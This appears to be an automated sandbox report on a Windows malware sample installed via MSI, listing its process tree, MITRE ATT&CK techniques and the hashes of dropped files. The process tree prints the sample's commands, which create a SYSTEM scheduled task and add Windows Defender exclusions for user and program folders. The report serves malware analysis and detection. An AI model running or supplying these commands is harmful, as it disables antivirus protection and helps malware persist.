C:\Windows\system32\schtasks.exeSCHTASKS /Create /F /TN "Task1" /SC ONCE /ST 00:00 /RL HIGHEST /RU "SYSTEM" /TR "cmd.exe /c reg add \"HKLM\SOFTWARE\Microsoft\Windows Defender\Exclusions\Paths\" /v \"C:\Users\Admin\Documents\" /t REG_DWORD /d 0 /f"3⤵
- Scheduled Task/Job: Scheduled Task
PID:3944
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C:\Windows\system32\schtasks.exeSCHTASKS /Run /TN "Task1"3⤵PID:3560
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C:\Windows\system32\schtasks.exeSCHTASKS /Delete /TN "Task1" /F3⤵PID:1052
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C:\Windows\system32\cmd.execmd.exe /c reg add "HKLM\SOFTWARE\Microsoft\Windows Defender\Exclusions\Paths" /v "C:\Users\Public\lnGRMa" /t REG_DWORD /d 0 /f1⤵
- Executes a command shell one-liner
- Suspicious use of WriteProcessMemory
PID:4812 -
C:\Windows\system32\reg.exereg add "HKLM\SOFTWARE\Microsoft\Windows Defender\Exclusions\Paths" /v "C:\Users\Public\lnGRMa" /t REG_DWORD /d 0 /f2⤵
- Windows security bypass
PID:4188
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C:\Windows\system32\cmd.execmd.exe1⤵PID:1868
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C:\Windows\system32\cmd.execmd.exe /c reg add "HKLM\SOFTWARE\Microsoft\Windows Defender\Exclusions\Paths" /v "C:\ProgramData" /t REG_DWORD /d 0 /f1⤵
- Executes a command shell one-liner
- Suspicious use of WriteProcessMemory
PID:1264 -
C:\Windows\system32\reg.exereg add "HKLM\SOFTWARE\Microsoft\Windows Defender\Exclusions\Paths" /v "C:\ProgramData" /t REG_DWORD /d 0 /f2⤵
- Windows security bypass
PID:5072
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C:\Windows\system32\cmd.execmd.exe /c reg add "HKLM\SOFTWARE\Microsoft\Windows Defender\Exclusions\Paths" /v "C:\Users" /t REG_DWORD /d 0 /f1⤵
- Executes a command shell one-liner
- Suspicious use of WriteProcessMemory
PID:1516 -
C:\Windows\system32\reg.exereg add "HKLM\SOFTWARE\Microsoft\Windows Defender\Exclusions\Paths" /v "C:\Users" /t REG_DWORD /d 0 /f2⤵
- Windows security bypass
PID:1560
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C:\Windows\system32\cmd.execmd.exe /c reg add "HKLM\SOFTWARE\Microsoft\Windows Defender\Exclusions\Paths" /v "C:\Program Files (x86)" /t REG_DWORD /d 0 /f1⤵
- Executes a command shell one-liner
- Suspicious use of WriteProcessMemory
PID:2896 -
C:\Windows\system32\reg.exereg add "HKLM\SOFTWARE\Microsoft\Windows Defender\Exclusions\Paths" /v "C:\Program Files (x86)" /t REG_DWORD /d 0 /f2⤵
- Windows security bypass
PID:5064
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C:\Windows\system32\cmd.execmd.exe /c reg add "HKLM\SOFTWARE\Microsoft\Windows Defender\Exclusions\Paths" /v "C:\Users\Admin\Documents" /t REG_DWORD /d 0 /f1⤵
- Executes a command shell one-liner
- Suspicious use of WriteProcessMemory
PID:3716 -
C:\Windows\system32\reg.exereg add "HKLM\SOFTWARE\Microsoft\Windows Defender\Exclusions\Paths" /v "C:\Users\Admin\Documents" /t REG_DWORD /d 0 /f2⤵
- Windows security bypass
PID:4416
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Network
MITRE ATT&CK Enterprise v16
Execution
Command and Scripting Interpreter
1Windows Command Shell
1Scheduled Task/Job
1Scheduled Task
1Persistence
Boot or Logon Autostart Execution
1Registry Run Keys / Startup Folder
1Event Triggered Execution
1Installer Packages
1Scheduled Task/Job
1Scheduled Task
1Privilege Escalation
Boot or Logon Autostart Execution
1Registry Run Keys / Startup Folder
1Event Triggered Execution
1Installer Packages
1Scheduled Task/Job
1Scheduled Task
1Defense Evasion
Impair Defenses
1Disable or Modify Tools
1Indicator Removal
1Clear Persistence
1Modify Registry
2System Binary Proxy Execution
1Msiexec
1Replay Monitor
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Downloads
- Path C:\Config.Msi\e584746.rbs
- Size 7KB
- SHA256 07888a81f1cf4bc95cc73ad3f8c65fb2c1765cb545a0735d07b5e90ac1cabf6e
- MD5 29b791dac6aa254a682058d38ed31494
- SHA1 dbb2f1fa189358d07abb3a737eee41b20b4c8829
- SHA512 c343adaccfed2bfabcf14186c651c9ed69688e365070cda82ff310bc188806db56a5bfb064c4897e9f2ae82cd8342943f3edcdc7b0926d5d3905543857499b5a
- SSDEEP 96:vL3uu1eCQSUUwnaD1CsThqFUwnaD1C6je1Hp/ThqlHU25yeWl0loRCKplje7bAjd:vLTeez4aDIIz4aDIxjiljKpIU
- TLSH T10DF1F10676144BF2F8D66B35CB17176637A2D2E6939433DB1CCD80241FC37992E6868E
- MD5 SHA1 SHA512 SSDEEP TLSH
- Path C:\Users\Public\lnGRMa\UxEnhance64.dll
- Size 3.1MB
- SHA256 38b6365228eeda53465fa432fe5d5477fa66b99fe04dfbaf988e1b0ae6ebebbd
- MD5 4411aa83d1faaa4c104324ef807e3643
- SHA1 0c4667e8af83aa2ba5863ae7b7523b9493e9c356
- SHA512 3c1bd22a2d1570c3ea43e95a2c4daebd8d1d21833be817f323e8946e08d2dac5130164dee3da4f8ef621642e4cdd82ee43e6163f72f18fcfdc32959b9313ef51
- SSDEEP 49152:P9KpI8cBa0kj6BK0x3TiMQclkGo2PXk6rkwuuWG/+WizBedfb77N3SnKrKB+1:P9m29xx3Tiqt06ox6+z2rNNrKo1
- TLSH T1D5E523E5B6D739F6D023CBF4DA62A1AD70393F505F635C5F3B8929014E62228973A390
- MD5 SHA1 SHA512 SSDEEP TLSH
- Path C:\Users\Public\lnGRMa\adoresd.dat
- Size 4.8MB
- SHA256 1f33da9f6c73c48c13a1367dc05bdee39e9cc98a73760cb19096f2f4da0ed3f7
- MD5 8edafe7f0dd77b9414099fdae8904641
- SHA1 fdf9361efc789043aaf4016ceefffcbcc210214c
- SHA512 a59b87da8d3cb11b259c78616f1fee61593605d178734f993d9e4bb4445353ee4a8478d3bae77e8f207426d1286a1ed3d2b30a260e5f263da1af64cd69cae66c
- SSDEEP 98304:kuZ630UjjOt6udZuYb7Ad2WAqSFmtNYNF/ltN3fjZgRnXxs:5QDPnORb7AdPEm7Y7ltlVgxs
- TLSH T186363339536D9C62DDC7A0F8A49D4596FF683D60FAE2A006B47C1D213015DFB986FE08
- MD5 SHA1 SHA512 SSDEEP TLSH
- Path C:\Users\Public\lnGRMa\msadox.tb
- Size 8KB
- SHA256 9fdd378b4b2850b83dddea3d9e1fb1884f74d884b178061a2ad80637c789d957
- MD5 4fb100073168bf681d7966e7380634ad
- SHA1 91b99b6c1999b9cf122d77f920ddf3cce20396e3
- SHA512 db048a31a9a3074a41b3fd679b0fa4e15c81cb89bbea0742859a1e780a3059b784443f57188e5e04a233171fa93fcba508cf5dbd707dc8ae16fa64d573fa60b5
- SSDEEP 192:sqbZajnZ45X1q3JXglD+3vR8cwNhIMCGe2y0PQp:ssZqZOXQ3uqvR2Kfzp
- TLSH T17C029E05D7A20CC3D2016C71CD9EB2F5AB13A1DADA3926719C67D4C167072DD2CE620D
- MD5 SHA1 SHA512 SSDEEP TLSH
- Path C:\Users\Public\lnGRMa\tl5yfC.exe
- Size 135KB
- SHA256 676a2a7b94ca2f8ec76352ee656e4d075bb342bd7ad6efbc7c19c060001eace7
- MD5 9ec587911e501b73b7cf09f05d0ae17d
- SHA1 5b62403cc9a668c6e5c70ace177fd54fcc4c5936
- SHA512 d05468a472373815c46ccb46ec743408365d24982d10d8a23ee0036c28cf3dacd05d74304ef2d4b7118f91ff3f631f676b2e86ddee92a02cf988b0d3c6247847
- SSDEEP 3072:MmhXb5pgtiaRENEErO9Uj4OqhhUvB4BNgQaJ:MmjgtiayGErsUKh3To
- TLSH T1D0D38C2776A474F9E1778635C8511A1AE772B8760770CB9F03A442A62F237D19E3EF20
- MD5 SHA1 SHA512 SSDEEP TLSH
- Path C:\Windows\Installer\MSI490B.tmp
- Size 5.8MB
- SHA256 d9a82faff6c4babb4525dd27b78cf57c8a597596145527fadc096461f2d485f3
- MD5 60c6f2013aeb0ca2f0133b463d6b1fe5
- SHA1 e7771c17f9f97f0a152c816dd8afdd7dcd9cb653
- SHA512 570b4290ca82342bc31961cce194573072d2a578895802a5bfae19c68d65cfa6507ab72ff46010fd899d4e765a419ed6296fd4f397d09b0abaf4800c4fa8d041
- SSDEEP 98304:wwGnxljxFjhf26l9p63fq/FPmsSLiYotErO5/zLSRfhIyrFZqs2uke2:oxdxT26Efq/FYYErOtpyr7qtu8
- TLSH T1E45633A76DCE3BB0D49BC7749001756EB6353BD6BE12AC13BAEC37405E72A19A478301
- MD5 SHA1 SHA512 SSDEEP TLSH
- Path C:\Windows\Installer\e584745.msi
- Size 5.9MB
- SHA256 af67f4e1374475773c764bf068cbe4ac526ee7aa30da35b94adaaf9c42bde29c
- MD5 fdea78a5744814c2b2f4f03300d31afb
- SHA1 79a3e61fcceba9d0a54f0b4c70791a4f7c280bf5
- SHA512 55190c1365326a8616e44c6cfffd7aa5bf86c8acaa9fdb00fd53c375e05d2ff1e69093009ef9e5b78ffc95b435ea2e4d4b669fd3ba47b2201869abb48654faac
- SSDEEP 98304:JwGnxljxFjhf26l9p63fq/FPmsSLiYotErO6/zLSRfhIyrFZqs2ukeB:hxdxT26Efq/FYYErOapyr7qtur
- TLSH T1565633A67DC93BB1D49BC7749002756EB6393FD6BE12AC137AEC37401E32A299478341
- MD5 SHA1 SHA512 SSDEEP TLSH
- Path \??\GLOBALROOT\Device\HarddiskVolumeShadowCopy2\System Volume Information\SPP\metadata-2
- Size 24.1MB
- SHA256 85b338586aa2d9ff6f3560c95e50a2dcf72cd9dc9cdb66dabb97dedd06ab2590
- MD5 42a2fff08b847dae16d7c1b84366fea7
- SHA1 070ceafa805680521fdcf75789ee79603200f1f5
- SHA512 bc38767882e62285deac28ae258121d3abafb0cbb414ac72f3b93799ccaefcaff64dbd544910c9523492651a02de150de0065052f7f6235d31b7016c43eeca70
- SSDEEP 24576:Vu8m+1zZdoO/vvTLL2L+ema/qCkTzFbC39md5k6lT0aKusyWYvFCztAhO:L
- TLSH T1C847C52476F92100E7F79E3CACF06A2359397D5B9C19EE8D05411F4E0922BB1E872F5A
- MD5 SHA1 SHA512 SSDEEP TLSH
- Path \??\Volume{4588d6e0-0000-0000-0000-d01200000000}\System Volume Information\SPP\OnlineMetadataCache\{51ee9d34-14e3-4d75-9a6c-68750a20960f}_OnDiskSnapshotProp
- Size 6KB
- SHA256 f01bd7b89497d1d82776c624a7ff141ef22095dd73134a0288a57b7fa1929216
- MD5 fefe5fde717323047455e38e7b705c8f
- SHA1 745130686e9e805de59b0d9dacd1db9b19790b5b
- SHA512 0de89021407acff7db91329bc9130eeb04148b22e9975c7aaa6c1e4ebdba84715a0910c8ae3fe1792dea0515f070706de82e0a7b4fa9f91875a9c92c3da879eb
- SSDEEP 96:F1cBAu5vc8DD84LTHzbOHXOHBlBRQ88Sc9XE56tOSVQpu:/ub++ZVm
- TLSH T1A9D199085AE54711E2B3AB312DF18557A877B911EF33CB8E0198238E2671A10F875F6F
- MD5 SHA1 SHA512 SSDEEP TLSH